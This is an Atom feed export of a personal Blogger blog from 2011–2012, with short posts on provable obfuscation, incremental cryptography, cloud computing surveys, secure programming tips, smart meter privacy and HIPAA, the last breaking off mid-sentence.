<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-3102026624715864168</id><updated>2012-02-19T02:44:47.328-05:00</updated><category term='math'/><category term='cryptography'/><category term='cloud computing'/><category term='watermarking'/><category term='security'/><category term='politics'/><category term='linked data'/><category term='privacy'/><category term='faith'/><category term='inspiration'/><category term='hiking nature photography'/><category term='mapreduce'/><category term='creativity'/><category term='encryption'/><category term='conflicts'/><category term='social networks'/><category term='drm'/><category term='identity'/><category term='healthcare'/><category term='security piracy'/><category term='thoughts'/><category term='history'/><category term='grid computing'/><category term='thoughts fun'/><category term='photography canon sigma uwa 10-20mm'/><category term='fun'/><category term='hiking photography landscape'/><category term='database'/><title type='text'>Nabeel's Blog</title><subtitle type='html'>It's pretty much everything!</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default?start-index=101&amp;max-results=100'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>237</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-9015620733794135527</id><published>2012-02-19T02:40:00.002-05:00</published><updated>2012-02-19T02:44:47.341-05:00</updated><title type='text'>Security vs. Privacy</title><content type='html'>Security or Privacy or Security and Privacy? IMO, contrary to the following figure, security along with privacy is possible; you don't have to loose privacy for security.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/-HLfEEvO5mME/T0CnuxkJ1HI/AAAAAAAAEGM/XFAaNqqoXSs/s1600/security_privacy.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 227px;" src="http://3.bp.blogspot.com/-HLfEEvO5mME/T0CnuxkJ1HI/AAAAAAAAEGM/XFAaNqqoXSs/s320/security_privacy.jpg" alt="" id="BLOGGER_PHOTO_ID_5710748749526586482" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-9015620733794135527?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/9015620733794135527/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=9015620733794135527' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/9015620733794135527'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/9015620733794135527'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2012/02/security-vs-privacy.html' title='Security vs. Privacy'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-HLfEEvO5mME/T0CnuxkJ1HI/AAAAAAAAEGM/XFAaNqqoXSs/s72-c/security_privacy.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-8146586773451637919</id><published>2011-11-09T17:08:00.005-05:00</published><updated>2011-11-13T11:46:56.173-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cryptography'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>Provable Obfuscation</title><content type='html'>An &lt;span style="font-style: italic;"&gt;obfuscator&lt;/span&gt; O is a "compiler" that transforms your program P into a new program O(P) with the following properties [1]:&lt;br /&gt;1. O(P) has the same functionality as P.&lt;br /&gt;2. O(P) protects any secrets that may be stored inside and used by the program.&lt;br /&gt;&lt;br /&gt;Provable obfuscation, if exists, can do wonders in the cryptography world. For example:&lt;br /&gt;- Protection of algorithms and keys in software&lt;br /&gt;- Controlled delegation of authority&lt;br /&gt;- Fully homomorphic public-key encryption&lt;br /&gt;- Digital watermarking&lt;br /&gt;- Making interactive protocols non-interactive&lt;br /&gt;&lt;br /&gt;Unfortunately the main provable obfuscation result is a &lt;span style="font-style: italic;"&gt;negative&lt;/span&gt; one [2]. The following figure shows the security requirements of an obfuscated program O(P):&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/-swmjLht3yiE/Trr-bo0AgdI/AAAAAAAAEDg/jJg72H8RLd0/s1600/obfuscation.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 205px;" src="http://3.bp.blogspot.com/-swmjLht3yiE/Trr-bo0AgdI/AAAAAAAAEDg/jJg72H8RLd0/s320/obfuscation.png" alt="" id="BLOGGER_PHOTO_ID_5673126431392039378" border="0" /&gt;&lt;/a&gt;The obfuscated program should behave like a virtual black box; anything that can be computed from O(P) should be able to be computed by giving oracle access to the program P.&lt;br /&gt;&lt;br /&gt;According to current results, it is &lt;span style="font-style: italic;"&gt;impossible&lt;/span&gt; to achieve the above notion of provable obfuscation on arbitrary programs. So, what can we do best? There are two possible approaches:&lt;br /&gt;1. Restrict ourselves to a weaker form of security&lt;br /&gt;2. Restrict ourselves to special classes of programs (not arbitrary programs)&lt;br /&gt;&lt;br /&gt;I prefer to have provable security for small classes of programs instead of having obfuscation techniques for many classes with weaker security. The only positive result that I am aware of is that a &lt;span style="font-style: italic;"&gt;point function&lt;/span&gt; can be provably securely obfuscated under the random oracle model [1,3].&lt;br /&gt;&lt;br /&gt;Here is an example of a point function:&lt;br /&gt;if (input_password == stored_password) {&lt;br /&gt;   return true;&lt;br /&gt;} else {&lt;br /&gt;   return false;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;It takes as input the password and outputs true/false. More formally, a point function is a Boolean function that takes the value 1 (true) at exactly one point.&lt;br /&gt;&lt;br /&gt;The following shows the common practice to hide password in a system:&lt;br /&gt;if (hash(input_password) == stored_hash) {&lt;br /&gt;   return true;&lt;br /&gt;} else {&lt;br /&gt;   return false;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;You can think of the above program as an obfuscated point function where it returns true only if the stored hash value matches the hash of the input password. This can be viewed as a provably secure obfuscation of a point function under the random oracle model. Obfuscation hides the stored password as a hash value. (Hash function acts as a strong one way random permutation. An adversary can only make a dictionary attack to recover the stored password.)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Lynn et. al. [1] extends the above idea to construct provable obfuscation techniques to do more complex access control functionalities. Those who are interested in specific construction techniques are encouraged to read [1] and [3].&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[1] Lynn et. al. Positive results and techniques for obfuscation, EUROCRYPT 2004&lt;br /&gt;[2] Barak et. al. On the (im)possibility of obfuscating programs, CRYPTO 2001&lt;br /&gt;[3] Wee, On obfuscating point functions, STOC 2005&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-8146586773451637919?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/8146586773451637919/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=8146586773451637919' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/8146586773451637919'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/8146586773451637919'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2011/11/provable-obfuscation.html' title='Provable Obfuscation'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-swmjLht3yiE/Trr-bo0AgdI/AAAAAAAAEDg/jJg72H8RLd0/s72-c/obfuscation.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-5281499938223764064</id><published>2011-11-07T16:54:00.003-05:00</published><updated>2011-11-07T17:15:11.074-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cryptography'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>Incremental Cryptography</title><content type='html'>Let's assume that you have performed a transformation (e.g. hashing, signing, encrypting) to document M. The transformation is proportional to the size of M. Now a small part d of the original document changes resulting in M'. This change in the original document requires changing the transformed document. Are there techniques to perform the transformation that is proportional to the modified portion of the document (i.e. d) not M'? There is some interesting work done in this area. The idea was initially put forward by Ballare et. al. in &lt;a href="http://www.wisdom.weizmann.ac.il/%7Eoded/PS/bgg-inc1.ps"&gt;1994&lt;/a&gt; and an improved version in &lt;a href="http://www.wisdom.weizmann.ac.il/%7Eoded/PS/bgg-inc2.ps"&gt;1995&lt;/a&gt;. There is some recent work on this area as well.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/-w5nFdupHTa4/TrhYKPs8SsI/AAAAAAAAEDU/RZTOaxRGLpU/s1600/incremental.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 316px;" src="http://3.bp.blogspot.com/-w5nFdupHTa4/TrhYKPs8SsI/AAAAAAAAEDU/RZTOaxRGLpU/s320/incremental.png" alt="" id="BLOGGER_PHOTO_ID_5672380663710108354" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-5281499938223764064?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/5281499938223764064/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=5281499938223764064' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/5281499938223764064'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/5281499938223764064'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2011/11/incremental-cryptography.html' title='Incremental Cryptography'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-w5nFdupHTa4/TrhYKPs8SsI/AAAAAAAAEDU/RZTOaxRGLpU/s72-c/incremental.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-694762662718205493</id><published>2011-10-27T09:15:00.002-04:00</published><updated>2011-10-27T09:16:12.601-04:00</updated><title type='text'>Trend: nosql</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/-EEEaxbS9T1c/TqlZlBH0AhI/AAAAAAAAEDE/CBxpJAKUidk/s1600/nosql.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 159px;" src="http://4.bp.blogspot.com/-EEEaxbS9T1c/TqlZlBH0AhI/AAAAAAAAEDE/CBxpJAKUidk/s320/nosql.png" alt="" id="BLOGGER_PHOTO_ID_5668160098513715730" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-694762662718205493?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/694762662718205493/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=694762662718205493' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/694762662718205493'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/694762662718205493'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2011/10/trend-nosql.html' title='Trend: nosql'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-EEEaxbS9T1c/TqlZlBH0AhI/AAAAAAAAEDE/CBxpJAKUidk/s72-c/nosql.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-876087079229206990</id><published>2011-10-25T12:25:00.002-04:00</published><updated>2011-10-25T12:28:13.979-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cloud computing'/><title type='text'>What holds you from moving to the cloud?</title><content type='html'>The following list of concerns are from 2008. Has it changed in 2011 or still the same??&lt;br /&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/-qsuviKG3wa0/TqbjSl2UclI/AAAAAAAAEC0/SbEH08m_wZg/s1600/cloud_1_10.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 298px; height: 301px;" src="http://3.bp.blogspot.com/-qsuviKG3wa0/TqbjSl2UclI/AAAAAAAAEC0/SbEH08m_wZg/s320/cloud_1_10.jpg" alt="" id="BLOGGER_PHOTO_ID_5667467089629442642" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-876087079229206990?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/876087079229206990/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=876087079229206990' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/876087079229206990'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/876087079229206990'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2011/10/what-holds-you-from-moving-to-cloud.html' title='What holds you from moving to the cloud?'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-qsuviKG3wa0/TqbjSl2UclI/AAAAAAAAEC0/SbEH08m_wZg/s72-c/cloud_1_10.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-5014381281643239932</id><published>2011-10-25T12:08:00.005-04:00</published><updated>2011-10-25T12:10:45.689-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cloud computing'/><title type='text'>What is the top use of cloud computing?</title><content type='html'>Remote storage is the top use of cloud computing for small and medium businesses!&lt;br /&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/-jX4Hpu5Z2Y4/TqbfK7km_MI/AAAAAAAAECo/LKu8IM6eKDI/s1600/CompTIA-SMB-Use-of-Cloud1.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://2.bp.blogspot.com/-jX4Hpu5Z2Y4/TqbfK7km_MI/AAAAAAAAECo/LKu8IM6eKDI/s320/CompTIA-SMB-Use-of-Cloud1.jpg" alt="" id="BLOGGER_PHOTO_ID_5667462559975275714" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Reference: &lt;a href="http://www.smallbizchicago.com/2011/07/whats-in-the-cloud-storage-savings-and-security-issues/"&gt;Source&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-5014381281643239932?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/5014381281643239932/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=5014381281643239932' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/5014381281643239932'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/5014381281643239932'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2011/10/what-is-top-use-of-cloud-computing.html' title='What is the top use of cloud computing?'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-jX4Hpu5Z2Y4/TqbfK7km_MI/AAAAAAAAECo/LKu8IM6eKDI/s72-c/CompTIA-SMB-Use-of-Cloud1.jpg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-8952649334089601207</id><published>2011-10-25T09:34:00.005-04:00</published><updated>2011-10-25T12:15:38.036-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='cloud computing'/><title type='text'>Cost is the #1 barrier for cloud security</title><content type='html'>Cost is the #1 barrier affecting customer deployment of new security solution:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/-N1FPn6ROBgg/Tqa7cku0IyI/AAAAAAAAECc/c6IkAvgfXs8/s1600/MOD-16799_2011-Infonetics-CRS-Security-Enterprise-Survey-08-19-11-Chart.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 214px;" src="http://3.bp.blogspot.com/-N1FPn6ROBgg/Tqa7cku0IyI/AAAAAAAAECc/c6IkAvgfXs8/s320/MOD-16799_2011-Infonetics-CRS-Security-Enterprise-Survey-08-19-11-Chart.jpg" alt="" id="BLOGGER_PHOTO_ID_5667423280663110434" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Reference: &lt;a href="http://www.infonetics.com/pr/2011/Security-Strategy-for-On-Premise-Hosted-and-Hybrid-Solutions-Survey-Highlights.asp"&gt;Source&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-8952649334089601207?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/8952649334089601207/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=8952649334089601207' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/8952649334089601207'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/8952649334089601207'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2011/10/cost-is-1-barrier.html' title='Cost is the #1 barrier for cloud security'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-N1FPn6ROBgg/Tqa7cku0IyI/AAAAAAAAECc/c6IkAvgfXs8/s72-c/MOD-16799_2011-Infonetics-CRS-Security-Enterprise-Survey-08-19-11-Chart.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-577927735371244514</id><published>2011-10-06T11:00:00.003-04:00</published><updated>2011-10-06T11:19:30.722-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='security'/><title type='text'>Secure programming tips - reduce attack surface</title><content type='html'>The &lt;span style="font-style: italic;"&gt;attack surface&lt;/span&gt; in software refers to the code an unauthenticated user can run. (What can an unauthenticated (malicious/untrusted) user do without having access to the system?)&lt;br /&gt;&lt;br /&gt;For web forms,&lt;br /&gt;- ALWAYS validate user inputs&lt;br /&gt;- ALWAYS use the least possible privileged access to the resources (if a database connection only requires read only user, make sure that the web forms are connected to the database through a read only database user that read only from a specific database.)&lt;br /&gt;- NEVER show exceptions on the browser as they may reveal useful information to an attacker to look for different attack vectors.&lt;br /&gt;&lt;br /&gt;For any code,&lt;br /&gt;- ALWAYS implement whitelisting approach (i.e. always give access based on the credentials users have)&lt;br /&gt;- WEAR the "untrusted user" hat when writing code&lt;br /&gt;- ONLY use libraries that are known to be secure&lt;br /&gt;- THINK about the attack surface from the first line of code&lt;br /&gt;&lt;br /&gt;If it is a service interface,&lt;br /&gt;- Have the bare minimum number of functions (this will reduce the number of entry points for an untrusted user) - if a function is not going to be used by any user, just remove it.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-577927735371244514?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/577927735371244514/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=577927735371244514' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/577927735371244514'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/577927735371244514'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2011/10/secure-programming-tips-reduce-attack.html' title='Secure programming tips - reduce attack surface'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-5744422726641587111</id><published>2011-10-05T14:57:00.003-04:00</published><updated>2011-10-06T11:19:47.454-04:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='privacy'/><title type='text'>Smart Meters and Privacy</title><content type='html'>In case you haven't heard about smart meters, they are the next generation electric meters. Unlike the traditional electric meters, the provide two way communication. The goal of smart meters is to allow utility companies and consumers to better monitor the energy consumption and control electricity. Smart meters act as surveillance devices. Having such a surveillance device at your home could seriously invade your privacy though. It can be a security threat as well. Here are a couple of possible threats:&lt;br /&gt;- It allows a third-party to see what equipments you are using, what time of the day, how long, how often, etc.&lt;br /&gt;   - An insurance company inferring what kind of medical problems you have based on the devices use and what time.&lt;br /&gt;   - A producer marketing products that go along with your equipments or suggest different equipments&lt;br /&gt;- It gives information to a burglar to figure out a best time to break in. (Low consumption may be linked to empty house.)&lt;br /&gt;&lt;br /&gt;The question is how much information utility companies need in order to better manage electricity while protecting the privacy? In other words, how can we balance the benefits of smart meters and the risks of using them?&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-5744422726641587111?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/5744422726641587111/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=5744422726641587111' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/5744422726641587111'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/5744422726641587111'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2011/10/smart-meters-and-privacy.html' title='Smart Meters and Privacy'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-3715330807887679320</id><published>2011-09-23T03:23:00.001-04:00</published><updated>2011-09-23T03:24:52.607-04:00</updated><title type='text'>Facebook and You</title><content type='html'>&lt;div style="text-align: center;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/-_V2QPSusbZw/Tnw0LAHTuqI/AAAAAAAAECQ/14tuevADryQ/s1600/7775.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 256px;" src="http://2.bp.blogspot.com/-_V2QPSusbZw/Tnw0LAHTuqI/AAAAAAAAECQ/14tuevADryQ/s320/7775.jpg" alt="" id="BLOGGER_PHOTO_ID_5655452595684358818" border="0" /&gt;&lt;/a&gt;(Source: http://www.eatliver.com/img/2011/7775.jpg)&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3102026624715864168-3715330807887679320?l=mohamednabeel.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mohamednabeel.blogspot.com/feeds/3715330807887679320/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3102026624715864168&amp;postID=3715330807887679320' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/3715330807887679320'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3102026624715864168/posts/default/3715330807887679320'/><link rel='alternate' type='text/html' href='http://mohamednabeel.blogspot.com/2011/09/facebook-and-you.html' title='Facebook and You'/><author><name>Nabeel Yoosuf</name><uri>http://www.blogger.com/profile/15028099202362755516</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-_V2QPSusbZw/Tnw0LAHTuqI/AAAAAAAAECQ/14tuevADryQ/s72-c/7775.jpg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3102026624715864168.post-4935288928838015018</id><published>2011-05-28T22:07:00.005-04:00</published><updated>2011-05-29T02:55:23.399-04:00</updated><title type='text'>HIPAA compliance</title><content type='html'>Recently I have been reading a lot of &lt;a href="http://www.hipaaacademy.net/consulting/hipaaSecurityRuleOverview.html"&gt;HIPAA privacy/security&lt;/a&gt; related technical documents. HIPAA stands for Health Insurance Portability and Accountability Act and aims to protect  Protected Healthcare Information (PHI) of US residents. These PHI records are held by insurers, health care clearing houses (e.g. billing services, health care information systems), health care providers, pharmacies, and so on. They are called "&lt;span style="font-style: italic;"&gt;covered entities&lt;/span&gt;".  So, covered entities have &lt;span style="font-style: italic;"&gt;your&lt;/span&gt; sensitive PHI records. While HIPAA has many rules and regulations, I am particularly interested in HIPAA privacy and security specifications.&lt;br /&gt;&lt;br /&gt;Before we go into "how", we first need to understand "what". Specifically,&lt;br /&gt;&lt;br /&gt;What is PHI?&lt;br /&gt;What is HIPAA privacy rule?&lt;br /&gt;What is HIPAA security rule?&lt;br /&gt;What does it mean to be HIPAA compliant (only the technical part)?&lt;br /&gt;&lt;br /&gt;PHI is any health care related information (health status, medication, payments, 